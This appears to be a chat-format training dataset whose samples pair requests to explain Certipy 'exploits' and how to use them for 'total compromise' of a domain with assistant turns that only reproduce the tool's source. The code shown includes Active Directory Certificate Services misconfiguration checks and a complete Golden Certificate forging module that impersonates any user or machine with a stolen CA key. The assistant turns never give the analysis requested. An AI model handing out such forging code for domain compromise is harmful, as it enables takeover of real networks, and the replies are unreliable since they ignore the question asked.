\"Unknown\"\n ):\n remarks[\"Policy\"] = \"Not using the built-in Microsoft default policy.\"\n\n # ESC7: CA with dangerous permissions\n has_vulnerable_acl, vulnerable_acl_sids = self.ca_has_vulnerable_acl(ca)\n if has_vulnerable_acl:\n acl_principals = self.format_principals(vulnerable_acl_sids)\n vulnerabilities[\"ESC7\"] = f\"User has dangerous permissions.\"\n\n # ESC8: Insecure web enrollment\n web_enrollment = ca.get(\"web_enrollment\")\n if web_enrollment and will_issue:\n http_enabled = (\n web_enrollment[\"http\"] is not None\n and web_enrollment[\"http\"][\"enabled\"]\n and web_enrollment[\"http\"][\"enabled\"] != \"Unknown\"\n )\n https_enabled = (\n web_enrollment[\"https\"] is not None\n and web_enrollment[\"https\"][\"enabled\"]\n and web_enrollment[\"https\"][\"enabled\"] != \"Unknown\"\n )\n channel_binding_enforced = (\n web_enrollment[\"https\"] is not None\n and web_enrollment[\"https\"][\"channel_binding\"]\n )\n\n # Determine vulnerability based on protocol and channel binding\n if http_enabled and https_enabled and not channel_binding_enforced:\n vulnerabilities[\"ESC8\"] = (\n f\"Web Enrollment is enabled over HTTP and HTTPS, and Channel Binding is disabled.\"\n )\n elif http_enabled:\n vulnerabilities[\"ESC8\"] = f\"Web Enrollment is enabled over HTTP.\"\n elif https_enabled and not channel_binding_enforced:\n vulnerabilities[\"ESC8\"] = (\n f\"Web Enrollment is enabled over HTTPS and Channel Binding is disabled.\"\n )\n elif https_enabled and channel_binding_enforced == \"Unknown\":\n remarks[\"ESC8\"] = (\n \"Channel Binding couldn't be verified for HTTPS Web Enrollment. \"\n \"For manual verification, request a certificate via HTTPS with Channel Binding disabled \"\n \"and observe if the request succeeds or is rejected.\"\n )\n\n # ESC11: Unencrypted certificate requests\n if ca.get(\"enforce_encrypt_icertrequest\") == \"Disabled\" and will_issue:\n vulnerabilities[\"ESC11\"] = (\n \"Encryption is not enforced for ICPR (RPC) requests.\"\n )\n\n # ESC16: Security extension disabled (similar to ESC9)\n disabled_extensions = ca.get(\"disabled_extensions\")\n if disabled_extensions and will_issue and user_can_enroll:\n if \"1.3.6.1.4.1.311.25.2\" in disabled_extensions:\n vulnerabilities[\"ESC16\"] = \"Security Extension is disabled.\"\n remarks[\"ESC16\"] = (\n \"Other prerequisites may be required for this to be exploitable. See \"\n \"the wiki for more details.\"\n )\n\n return (vulnerabilities, remarks, enrollable_principals, acl_principals)\n\n def ca_has_vulnerable_acl(self, ca: LDAPEntry) -> Tuple[bool, List[str]]:\n \"\"\"\n Check if the CA has vulnerable permissions for the current user.\n\n Args:\n ca: Certificate authority to analyze\n\n Returns:\n Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)\n \"\"\"\n has_vulnerable_acl = False\n vulnerable_acl_sids = []\n\n security = ca.get(\"security\")\n if security is None:\n return has_vulnerable_acl, vulnerable_acl_sids\n\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n # Check ACEs for vulnerable permissions\n for sid, rights in security.aces.items():\n # Skip if not related to current user\n if sid not in user_sids:\n continue\n\n ad_rights = rights[\"rights\"]\n\n # Check for dangerous CA permissions\n dangerous_rights = [\n CertificateAuthorityRights.MANAGE_CA,\n CertificateAuthorityRights.MANAGE_CERTIFICATES,\n ]\n\n if any(right in ad_rights for right in dangerous_rights):\n vulnerable_acl_sids.append(sid)\n has_vulnerable_acl = True\n\n return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs\n\n def can_user_enroll_in_ca(self, ca: LDAPEntry) -> Tuple[Optional[bool], List[str]]:\n \"\"\"\n Check if the current user can enroll in the CA.\n\n Args:\n ca: CA to analyze\n\n Returns:\n Tuple of (can_enroll, list_of_enrollable_sids)\n \"\"\"\n security = ca.get(\"security\")\n if security is None:\n return None, []\n\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n enrollable_sids = []\n user_can_enroll = False\n\n # Process ACEs\n for sid, rights in security.aces.items():\n if sid not in user_sids:\n continue\n\n if CertificateAuthorityRights.ENROLL in rights[\"rights\"]:\n enrollable_sids.append(sid)\n user_can_enroll = True\n\n return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs\n\n def get_oid_vulnerabilities(\n self, oid: LDAPEntry\n ) -> Tuple[Dict[str, str], List[str]]:\n \"\"\"\n Detect vulnerabilities in issuance policy OIDs.\n\n This method checks for Enterprise Security Configuration (ESC) vulnerabilities:\n - ESC13: OID with dangerous permissions or owned by current user\n\n Args:\n oid: Issuance policy OID to analyze\n\n Returns:\n Tuple of detected vulnerabilities and ACL principals\n \"\"\"\n # Return cached vulnerabilities if already processed\n if oid.get(\"vulnerabilities\"):\n return oid.get(\"vulnerabilities\")\n\n vulnerabilities = {}\n acl_principals = []\n\n # ESC13: OID ownership or vulnerable ACL\n security = IssuancePolicySecurity(oid.get(\"nTSecurityDescriptor\"))\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n # Check if user owns the OID\n if security.owner in user_sids:\n owner_name = self.connection.lookup_sid(security.owner).get(\"name\")\n acl_principals = [owner_name]\n vulnerabilities[\"ESC13\"] = f\"Issuance Policy OID is owned by user.\"\n else:\n # Check for vulnerable permissions if not already owner\n has_vulnerable_acl, vulnerable_acl_sids = self.oid_has_vulnerable_acl(oid)\n if has_vulnerable_acl:\n acl_principals = self.format_principals(vulnerable_acl_sids)\n vulnerabilities[\"ESC13\"] = f\"User has dangerous permissions.\"\n\n return (vulnerabilities, acl_principals)\n\n def oid_has_vulnerable_acl(self, oid: LDAPEntry) -> Tuple[bool, List[str]]:\n \"\"\"\n Check if the OID has vulnerable permissions for the current user.\n\n Args:\n oid: Issuance policy OID to analyze\n\n Returns:\n Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)\n \"\"\"\n security = IssuancePolicySecurity(oid.get(\"nTSecurityDescriptor\"))\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n vulnerable_acl_sids = []\n has_vulnerable_acl = False\n\n # Check ACEs for vulnerable permissions\n for sid, rights in security.aces.items():\n # Skip if not related to current user\n if sid not in user_sids:\n continue\n\n ad_rights = rights[\"rights\"]\n\n # Check for dangerous OID permissions\n dangerous_rights = [\n IssuancePolicyRights.GENERIC_ALL,\n IssuancePolicyRights.WRITE_OWNER,\n IssuancePolicyRights.WRITE_DACL,\n IssuancePolicyRights.WRITE_PROPERTY,\n ]\n\n if any(right in ad_rights for right in dangerous_rights):\n vulnerable_acl_sids.append(sid)\n has_vulnerable_acl = True\n\n return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs\n\n def format_principals(self, sids: List[str]) -> List[str]:\n \"\"\"\n Format a list of SIDs into a human-readable string.\n\n Args:\n sids: List of SIDs to format\n\n Returns:\n List of principal names\n \"\"\"\n return [self.connection.lookup_sid(sid).get(\"name\") for sid in sids]\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the 'find' command.\n\n Args:\n options: Command-line arguments\n \"\"\"\n target = Target.from_options(options, dc_as_target=True)\n options.__delattr__(\"target\")\n\n find = Find(target=target, **vars(options))\n find.find()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/forge.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Forgery (aka Golden Certificates) Module for Certipy.\n\nThis module allows forging certificates by signing them with a compromised CA private key.\nIt supports several features:\n- Creating certificates with custom subject alternative names (UPN, DNS)\n- Including SID extensions for domain authentication\n- Using existing certificates as templates\n- Customizing certificate validity periods and serial numbers\n- Adding CRL distribution points\n\nThis is useful for privilege escalation and lateral movement scenarios where a CA\ncertificate and private key have been compromised.\n\"\"\"\n\nimport argparse\nimport datetime\nfrom pathlib import Path\nfrom typing import List, Optional, Tuple, Union, cast\n\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.asymmetric.types import (\n CertificateIssuerPrivateKeyTypes,\n CertificateIssuerPublicKeyTypes,\n PrivateKeyTypes,\n)\nfrom pyasn1.codec.der import encoder\n\nfrom certipy.lib.certificate import (\n APPLICATION_POLICIES,\n NTDS_CA_SECURITY_EXT,\n OID_NTDS_OBJECTSID,\n PRINCIPAL_NAME,\n SAN_URL_PREFIX,\n SMIME_CAPABILITIES,\n SMIME_MAP,\n UTF8String,\n asn1x509,\n cert_id_to_parts,\n create_pfx,\n generate_rsa_key,\n get_subject_from_str,\n load_pfx,\n x509,\n)\nfrom certipy.lib.constants import OID_TO_STR_NAME_MAP\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.logger import logging\n\n# List of secure hash algorithms\nAllowedSignatureAlgorithms = Union[\n hashes.SHA224,\n hashes.SHA256,\n hashes.SHA384,\n hashes.SHA512,\n hashes.SHA3_224,\n hashes.SHA3_256,\n hashes.SHA3_384,\n hashes.SHA3_512,\n]\n\n\nclass Forge:\n \"\"\"\n Certificate forgery class for creating and signing custom certificates.\n\n This class provides functionality to forge certificates by signing them with\n a compromised CA private key, allowing creation of certificates with custom\n properties that can be used for authentication in Active Directory environments.\n \"\"\"\n\n def __init__(\n self,\n ca_pfx: Optional[str] = None,\n ca_password: Optional[str] = None,\n upn: Optional[str] = None,\n dns: Optional[str] = None,\n sid: Optional[str] = None,\n subject: Optional[str] = None,\n template: Optional[str] = None,\n application_policies: Optional[List[str]] = None,\n smime: Optional[str] = None,\n issuer: Optional[str] = None,\n crl: Optional[str] = None,\n serial: Optional[str] = None,\n key_size: int = 2048,\n validity_period: int = 365,\n out: Optional[str] = None,\n pfx_password: Optional[str] = None,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize the certificate forgery parameters.\n\n Args:\n ca_pfx: Path to the CA certificate/private key in PFX format\n ca_password: Password for the CA PFX file\n upn: User Principal Name for the certificate (e.g., user@domain.com)\n dns: DNS name for the certificate (e.g., computer.domain.com)\n sid: Security Identifier to include in the certificate\n subject: Subject name (in DN format) for the certificate\n template: Path to an existing certificate to use as a template\n application_policies: List of application policy OIDs\n smime: SMIME capability identifier\n issuer: Issuer name (in DN format) for the certificate\n crl: URI for the CRL distribution point\n serial: Custom serial number (in hex format, colons optional)\n key_size: RSA key size in bits for new certificates\n validity_period: Validity period in days for new certificates\n out: Output file path for the forged certificate\n pfx_password: Password for the PFX file\n kwargs: Additional arguments (not used)\n \"\"\"\n self.ca_pfx = ca_pfx\n self.ca_password = ca_password.encode() if ca_password else None\n self.alt_upn = upn\n self.alt_dns = dns\n self.alt_sid = sid\n self.subject = subject\n self.template = template\n self.issuer = issuer\n self.crl = crl\n self.serial = serial\n self.key_size = key_size\n self.validity_period = validity_period\n self.out = out\n self.pfx_password = pfx_password\n self.kwargs = kwargs\n\n # Convert application policy names to OIDs\n self.application_policies = [\n OID_TO_STR_NAME_MAP.get(policy.lower(), policy)\n for policy in (application_policies or [])\n ]\n self.smime = smime\n\n def get_serial_number(self) -> int:\n \"\"\"\n Get the certificate serial number.\n\n Returns:\n Integer representation of the serial number\n \"\"\"\n if self.serial is None:\n return x509.random_serial_number()\n\n # Clean up colons if present and convert hex to int\n return int(self.serial.replace(\":\", \"\"), 16)\n\n def get_crl(\n self, crl: Optional[str] = None\n ) -> Optional[x509.CRLDistributionPoints]:\n \"\"\"\n Create a CRL distribution point extension.\n\n Args:\n crl: URI of the CRL distribution point (defaults to self.crl)\n\n Returns:\n CRL distribution points extension or None if no CRL specified\n \"\"\"\n if crl is None:\n crl = self.crl\n\n if not crl:\n return None\n\n return x509.CRLDistributionPoints(\n [\n x509.DistributionPoint(\n full_name=[x509.UniformResourceIdentifier(crl)],\n relative_name=None,\n reasons=None,\n crl_issuer=None,\n )\n ]\n )\n\n def load_ca_certificate_and_key(\n self,\n ) -> Tuple[CertificateIssuerPrivateKeyTypes, x509.Certificate]:\n \"\"\"\n Load the CA certificate and private key from the PFX file.\n\n Returns:\n Tuple of (CA private key, CA certificate)\n\n Raises:\n ValueError: If CA PFX file is not specified\n FileNotFoundError: If CA PFX file does not exist\n Exception: If loading the CA certificate or private key fails\n \"\"\"\n if not self.ca_pfx:\n raise ValueError(\"CA PFX file is required\")\n\n ca_pfx_path = Path(self.ca_pfx)\n if not ca_pfx_path.exists():\n raise FileNotFoundError(f\"CA PFX file not found: {self.ca_pfx}\")\n\n with open(ca_pfx_path, \"rb\") as f:\n ca_pfx_data = f.read()\n\n ca_key, ca_cert = load_pfx(ca_pfx_data, self.ca_password)\n\n if ca_cert is None:\n raise Exception(\"Failed to load CA certificate\")\n\n if ca_key is None:\n raise Exception(\"Failed to load CA private key\")\n\n # Verify we have the correct types\n ca_private_key = cast(CertificateIssuerPrivateKeyTypes, ca_key)\n\n return ca_private_key, ca_cert\n\n def create_subject_alternative_names(\n self,\n ) -> List[Union[x509.DNSName, x509.OtherName]]:\n \"\"\"\n Create subject alternative names for the certificate.\n\n Returns:\n List of subject alternative name entries\n \"\"\"\n sans = []\n\n # Add DNS name if specified\n if self.alt_dns:\n dns_name = self.alt_dns\n if isinstance(dns_name, bytes):\n dns_name = dns_name.decode()\n\n sans.append(x509.DNSName(dns_name))\n\n # Add UPN if specified\n if self.alt_upn:\n upn_value = self.alt_upn.encode()\n\n # Encode as UTF8String for UPN\n encoded_upn = encoder.encode(UTF8String(upn_value))\n sans.append(x509.OtherName(PRINCIPAL_NAME, encoded_upn))\n\n # Add SID if specified\n if self.alt_sid:\n sid = self.alt_sid\n if isinstance(sid, bytes):\n sid = sid.decode()\n\n sid = f\"{SAN_URL_PREFIX}{sid}\"\n\n sans.append(x509.UniformResourceIdentifier(sid))\n\n return sans\n\n def create_sid_extension(self) -> Optional[x509.UnrecognizedExtension]:\n \"\"\"\n Create an extension containing the SID for the certificate.\n\n Returns:\n UnrecognizedExtension containing the SID or None if no SID specified\n \"\"\"\n if not self.alt_sid:\n return None\n\n sid_value = self.alt_sid.encode()\n\n # Create ASN.1 structure for SID extension\n sid_extension = asn1x509.GeneralNames(\n [\n asn1x509.GeneralName(\n {\n \"other_name\": asn1x509.AnotherName(\n {\n \"type_id\": OID_NTDS_OBJECTSID,\n \"value\": asn1x509.OctetString(sid_value).retag(\n {\"explicit\": 0}\n ),\n }\n )\n }\n )\n ]\n )\n\n return x509.UnrecognizedExtension(NTDS_CA_SECURITY_EXT, sid_extension.dump())\n\n def create_application_policies(self) -> Optional[x509.UnrecognizedExtension]:\n \"\"\"\n Create an extension containing the application policies for the certificate.\n\n Returns:\n UnrecognizedExtension containing the application policies or None if not specified\n \"\"\"\n if not self.application_policies:\n return None\n\n # Convert each policy OID string to PolicyIdentifier\n application_policy_oids = [\n asn1x509.PolicyInformation(\n {\"policy_identifier\": asn1x509.PolicyIdentifier(ap)}\n )\n for ap in self.application_policies\n ]\n\n # Create certificate policies extension\n cert_policies = asn1x509.CertificatePolicies(application_policy_oids)\n\n return x509.UnrecognizedExtension(APPLICATION_POLICIES, cert_policies.dump())\n\n def create_smime_extension(self) -> Optional[x509.UnrecognizedExtension]:\n \"\"\"\n Create an extension containing the S/MIME capability for the certificate.\n\n Returns:\n UnrecognizedExtension containing the S/MIME capability or None if not specified\n \"\"\"\n if not self.smime:\n return None\n\n # Create S/MIME capability extension\n smime_capability = SMIME_MAP[self.smime]\n\n return x509.UnrecognizedExtension(\n SMIME_CAPABILITIES, asn1x509.ObjectIdentifier(smime_capability).dump()\n )\n\n def get_allowed_hash_algorithm(\n self, template_hash_algorithm: Optional[hashes.HashAlgorithm]\n ) -> AllowedSignatureAlgorithms:\n \"\"\"\n Get an appropriate hash algorithm for certificate signing.\n\n Args:\n template_hash_algorithm: Hash algorithm from template certificate\n\n Returns:\n Hash algorithm instance to use for signing\n \"\"\"\n # Default to SHA-256 if no algorithm specified\n if template_hash_algorithm is None:\n return hashes.SHA256()\n\n # Get the algorithm class (not instance)\n alg_class = template_hash_algorithm.__class__\n\n # Check if algorithm is in the allowed list\n if alg_class in AllowedSignatureAlgorithms.__args__:\n return cast(AllowedSignatureAlgorithms, template_hash_algorithm)\n\n # Fall back to SHA-256 if not allowed\n logging.warning(\n f\"Hash algorithm {alg_class.__name__} is not allowed. Using SHA256.\"\n )\n return hashes.SHA256()\n\n def build_from_template(\n self,\n ca_private_key: CertificateIssuerPrivateKeyTypes,\n ca_public_key: CertificateIssuerPublicKeyTypes,\n ca_cert: x509.Certificate,\n ) -> Tuple[PrivateKeyTypes, bytes]:\n \"\"\"\n Build a certificate using an existing certificate as a template.\n\n Args:\n ca_private_key: CA private key\n ca_public_key: CA public key\n ca_cert: CA certificate\n\n Returns:\n Tuple of (certificate private key, PFX data)\n\n Raises:\n Exception: If loading the template fails\n \"\"\"\n if not self.template:\n raise ValueError(\"Template path is required\")\n\n # Load template certificate\n with open(self.template, \"rb\") as f:\n template_pfx = f.read()\n\n key, template_cert = load_pfx(template_pfx)\n\n if key is None:\n raise Exception(\"Failed to load template private key\")\n\n if template_cert is None:\n raise Exception(\"Failed to load template certificate\")\n\n # Determine subject name\n subject = self.subject\n if subject is None:\n subject = template_cert.subject\n else:\n subject = get_subject_from_str(subject)\n\n # Determine serial number\n serial_number = (\n self.get_serial_number() if self.serial else template_cert.serial_number\n )\n\n # Start building certificate\n cert_builder = x509.CertificateBuilder()\n cert_builder = cert_builder.subject_name(subject)\n\n # Set issuer name\n if self.issuer:\n cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer))\n else:\n cert_builder = cert_builder.issuer_name(ca_cert.subject)\n\n # Set public key, serial number, and validity period\n cert_builder = cert_builder.public_key(template_cert.public_key())\n cert_builder = cert_builder.serial_number(serial_number)\n cert_builder = cert_builder.not_valid_before(template_cert.not_valid_before_utc)\n cert_builder = cert_builder.not_valid_after(template_cert.not_valid_after_utc)\n\n # Add authority key identifier\n cert_builder = cert_builder.add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key),\n False,\n )\n\n # List of extensions to skip from the template\n skip_extensions = [\n x509.AuthorityKeyIdentifier.oid,\n x509.SubjectAlternativeName.oid,\n x509.ExtendedKeyUsage.oid,\n NTDS_CA_SECURITY_EXT,\n ]\n\n # Add CRL distribution point if specified\n crl_extension = self.get_crl()\n if crl_extension:\n skip_extensions.append(x509.CRLDistributionPoints.oid)\n cert_builder = cert_builder.add_extension(crl_extension, False)\n\n # Add S/MIME capability if specified\n smime_extension = self.create_smime_extension()\n if smime_extension:\n skip_extensions.append(SMIME_CAPABILITIES)\n cert_builder = cert_builder.add_extension(smime_extension, False)\n\n # Add application policies if specified\n application_policies_extension = self.create_application_policies()\n if application_policies_extension:\n skip_extensions.append(APPLICATION_POLICIES)\n cert_builder = cert_builder.add_extension(\n application_policies_extension, False\n )\n\n # Copy remaining extensions from template\n extensions = template_cert.extensions\n for extension in extensions:\n if extension.oid in skip_extensions:\n continue\n cert_builder = cert_builder.add_extension(\n extension.value, extension.critical\n )\n\n # Add subject alternative names\n sans = self.create_subject_alternative_names()\n if sans:\n cert_builder = cert_builder.add_extension(\n x509.SubjectAlternativeName(sans),\n False,\n )\n\n # Add SID extension if specified\n sid_extension = self.create_sid_extension()\n if sid_extension:\n cert_builder = cert_builder.add_extension(\n sid_extension,\n False,\n )\n\n # Get appropriate hash algorithm\n signature_hash_alg = self.get_allowed_hash_algorithm(\n template_cert.signature_hash_algorithm\n )\n\n # Sign the certificate\n certificate = cert_builder.sign(ca_private_key, signature_hash_alg)\n\n # Create PFX\n pfx_data = create_pfx(key, certificate, self.pfx_password)\n\n return key, pfx_data\n\n def build_new_certificate(\n self,\n ca_private_key: CertificateIssuerPrivateKeyTypes,\n ca_public_key: CertificateIssuerPublicKeyTypes,\n ca_cert: x509.Certificate,\n ) -> Tuple[rsa.RSAPrivateKey, bytes]:\n \"\"\"\n Build a new certificate without a template.\n\n Args:\n ca_private_key: CA private key\n ca_public_key: CA public key\n ca_cert: CA certificate\n\n Returns:\n Tuple of (certificate private key, PFX data)\n \"\"\"\n # Generate new key pair\n key = generate_rsa_key(self.key_size)\n\n # Determine identification type and value\n if self.alt_upn:\n id_type, id_value = \"UPN\", self.alt_upn\n else:\n id_type, id_value = \"DNS Host Name\", self.alt_dns\n\n # Determine subject name\n subject = self.subject\n if subject is None:\n subject = get_subject_from_str(\n f\"CN={cert_id_to_parts([(id_type, id_value)])[0]}\"\n )\n else:\n subject = get_subject_from_str(subject)\n\n # Determine serial number\n serial_number = self.get_serial_number()\n\n # Calculate validity period\n not_valid_before = datetime.datetime.now(\n datetime.timezone.utc\n ) - datetime.timedelta(days=1)\n not_valid_after = datetime.datetime.now(\n datetime.timezone.utc\n ) + datetime.timedelta(days=self.validity_period)\n\n # Start building certificate\n cert_builder = x509.CertificateBuilder()\n cert_builder = cert_builder.subject_name(subject)\n\n # Set issuer name\n if self.issuer:\n cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer))\n else:\n cert_builder = cert_builder.issuer_name(ca_cert.subject)\n\n # Set public key, serial number, and validity period\n cert_builder = cert_builder.public_key(key.public_key())\n cert_builder = cert_builder.serial_number(serial_number)\n cert_builder = cert_builder.not_valid_before(not_valid_before)\n cert_builder = cert_builder.not_valid_after(not_valid_after)\n\n # Add key identifiers\n cert_builder = cert_builder.add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key),\n False,\n )\n cert_builder = cert_builder.add_extension(\n x509.SubjectKeyIdentifier.from_public_key(key.public_key()),\n False,\n )\n\n # Add CRL distribution point if specified\n crl_extension = self.get_crl()\n if crl_extension:\n cert_builder = cert_builder.add_extension(crl_extension, False)\n\n # Add S/MIME capability if specified\n smime_extension = self.create_smime_extension()\n if smime_extension:\n cert_builder = cert_builder.add_extension(smime_extension, False)\n\n # Add application policies if specified\n application_policies_extension = self.create_application_policies()\n if application_policies_extension:\n cert_builder = cert_builder.add_extension(\n application_policies_extension, False\n )\n\n # Add subject alternative names\n sans = self.create_subject_alternative_names()\n if sans:\n cert_builder = cert_builder.add_extension(\n x509.SubjectAlternativeName(sans),\n False,\n )\n\n # Add SID extension if specified\n sid_extension = self.create_sid_extension()\n if sid_extension:\n cert_builder = cert_builder.add_extension(\n sid_extension,\n False,\n )\n\n # Get appropriate hash algorithm (default to same as CA cert)\n signature_hash_alg = self.get_allowed_hash_algorithm(\n ca_cert.signature_hash_algorithm\n )\n\n # Sign the certificate\n certificate = cert_builder.sign(ca_private_key, signature_hash_alg)\n\n # Create PFX\n pfx_data = create_pfx(key, certificate, self.pfx_password)\n\n return key, pfx_data\n\n def determine_output_filename(self, id_type: str, id_value: Optional[str]) -> str:\n \"\"\"\n Determine the output filename for the forged certificate.\n\n Args:\n id_type: Identification type (UPN, DNS)\n id_value: Identification value\n\n Returns:\n Output filename\n \"\"\"\n # Use specified output filename if provided\n if self.out:\n return self.out\n\n # Try to generate filename from certificate ID\n name, _ = cert_id_to_parts([(id_type, id_value)])\n if not name:\n logging.warning(\n \"Failed to generate output filename from certificate ID. Using current timestamp.\"\n )\n name = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n\n # Clean up and format filename\n return f\"{name.rstrip('$').lower()}_forged.pfx\"\n\n def forge(self) -> None:\n \"\"\"\n Forge a certificate with the specified parameters.\n\n This is the main method that performs the certificate forgery process.\n\n Raises:\n ValueError: If required parameters are missing\n Exception: If certificate forgery fails\n \"\"\"\n # Load CA certificate and private key\n ca_private_key, ca_cert = self.load_ca_certificate_and_key()\n ca_public_key = ca_private_key.public_key()\n\n # Determine identification type and value for filename\n if self.alt_upn:\n id_type, id_value = \"UPN\", self.alt_upn\n else:\n id_type, id_value = \"DNS Host Name\", self.alt_dns\n\n # Build certificate (from template or new)\n if self.template:\n _, pfx = self.build_from_template(ca_private_key, ca_public_key, ca_cert)\n else:\n _, pfx = self.build_new_certificate(ca_private_key, ca_public_key, ca_cert)\n\n # Save PFX to file\n out_path = self.determine_output_filename(id_type, id_value)\n\n logging.info(f\"Saving forged certificate and private key to {out_path!r}\")\n out_path = try_to_save_file(pfx, out_path)\n logging.info(f\"Wrote forged certificate and private key to {out_path!r}\")\n\n def create_self_signed_ca(self) -> None:\n \"\"\"\n Create a self-signed CA certificate.\n\n This method generates a self-signed CA certificate and saves it to the specified output file.\n \"\"\"\n # Generate new key pair\n key = generate_rsa_key(self.key_size)\n\n # Create self-signed CA certificate\n subject = x509.Name(\n [\n x509.NameAttribute(x509.NameOID.COMMON_NAME, \"Certipy CA\"),\n ]\n )\n if self.subject:\n subject = get_subject_from_str(self.subject)\n else:\n logging.warning(\"No subject specified, using default: 'Certipy CA'\")\n issuer = subject\n\n # Set serial number and validity period\n serial_number = self.get_serial_number()\n not_valid_before = datetime.datetime.now(\n datetime.timezone.utc\n ) - datetime.timedelta(days=1)\n not_valid_after = datetime.datetime.now(\n datetime.timezone.utc\n ) + datetime.timedelta(days=self.validity_period)\n\n # Start building certificate\n cert_builder = x509.CertificateBuilder()\n cert_builder = cert_builder.subject_name(subject)\n cert_builder = cert_builder.issuer_name(issuer)\n cert_builder = cert_builder.public_key(key.public_key())\n cert_builder = cert_builder.serial_number(serial_number)\n cert_builder = cert_builder.not_valid_before(not_valid_before)\n cert_builder = cert_builder.not_valid_after(not_valid_after)\n\n # Add key identifiers\n cert_builder = cert_builder.add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(key.public_key()),\n False,\n )\n cert_builder = cert_builder.add_extension(\n x509.SubjectKeyIdentifier.from_public_key(key.public_key()),\n False,\n )\n\n # Sign the certificate\n signature_hash_alg = hashes.SHA256()\n certificate = cert_builder.sign(key, signature_hash_alg)\n\n # Create PFX\n pfx_data = create_pfx(key, certificate, self.pfx_password)\n\n # Save PFX to file\n out_path = self.out\n if out_path is None:\n out_path = \"ca.pfx\"\n if not out_path.endswith(\".pfx\"):\n out_path += \".pfx\"\n logging.info(f\"Saving self-signed CA certificate to {out_path!r}\")\n out_path = try_to_save_file(pfx_data, out_path)\n logging.info(f\"Wrote self-signed CA certificate to {out_path!r}\")\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Command-line entry point for certificate forgery.\n\n Args:\n options: Command line arguments\n \"\"\"\n try:\n # Create and run the forger\n forge = Forge(**vars(options))\n\n if options.ca_pfx:\n forge.forge()\n else:\n forge.create_self_signed_ca()\n except Exception as e:\n logging.error(f\"Certificate forgery failed: {e}\")\n handle_error()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parse.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Template Parser Module for Certipy.\n\nThis module provides functionality to parse certificate templates from various sources:\n- Registry files exported from Windows systems (.reg format)\n- Beacon Object Files (BOF) output containing certificate template data\n\nThe parsed templates can then be analyzed using the same functionality as the `find`\ncommand, allowing offline analysis of certificate templates and their security settings.\n\"\"\"\n\nimport argparse\nimport re\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Iterator, List, Optional\n\nfrom certipy.commands import find\nfrom certipy.lib.bloodhound import BloodHound\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.logger import logging\nfrom certipy.lib.registry import RegConnection, RegEntry\nfrom certipy.lib.target import DnsResolver, Target\n\n\nclass ParserType(Enum):\n \"\"\"Supported parser types for certificate template data.\"\"\"\n\n BOF = \"bof\" # Beacon Object File output\n REG = \"reg\" # Windows Registry export file\n OC2_BOF = \"oc2_bof\" # Outflank C2 reg query output\n\n\nclass Parse(find.Find):\n \"\"\"\n Base parser class for certificate templates.\n\n This class extends the Find functionality to work with offline template data,\n allowing analysis of certificate templates without direct access to AD.\n \"\"\"\n\n def __init__(\n self,\n domain: str = \"UNKNOWN\",\n ca: str = \"UNKNOWN\",\n sids: List[str] = [],\n published: List[str] = [],\n bloodhound: Optional[BloodHound] = None,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize the certificate template parser.\n\n Args:\n domain: Domain name for the templates (default: UNKNOWN)\n ca: Certificate Authority name (default: UNKNOWN)\n sids: List of SIDs to resolve in ACLs\n published: List of templates published by the CA\n kwargs: Additional arguments to pass to Find base class\n \"\"\"\n\n # Set up for offline analysis\n target = Target(\n DnsResolver.create(),\n domain=domain,\n username=\"unknown\",\n target_ip=\"unknown\",\n )\n super().__init__(target, dc_only=True, **kwargs)\n\n # Store instance variables\n self.domain = domain\n self.ca = ca\n self.sids = sids\n self.published = published\n self.file = None\n self.bloodhound = bloodhound\n\n # Mappings between registry keys and LDAP attribute names\n self.mappings = {\n \"DisplayName\": \"displayName\",\n \"ValidityPeriod\": \"pKIExpirationPeriod\",\n \"RenewalOverlap\": \"pKIOverlapPeriod\",\n \"ExtKeyUsageSyntax\": \"pKIExtendedKeyUsage\",\n \"Security\": \"nTSecurityDescriptor\",\n # Maps common registry names to their corresponding LDAP attributes\n }\n\n @property\n def connection(self) -> RegConnection: # type: ignore\n \"\"\"\n Get or create a registry connection for SID resolution.\n\n Returns:\n RegConnection object for SID resolution\n \"\"\"\n if self._connection is not None:\n return self._connection\n\n self._connection: Optional[RegConnection] = RegConnection(\n self.domain, self.sids, bloodhound=self.bloodhound\n )\n return self._connection\n\n def get_issuance_policies(self) -> List[RegEntry]: # type: ignore\n \"\"\"\n Get certificate issuance policies.\n\n Returns:\n Empty list (not implemented for offline analysis)\n \"\"\"\n return 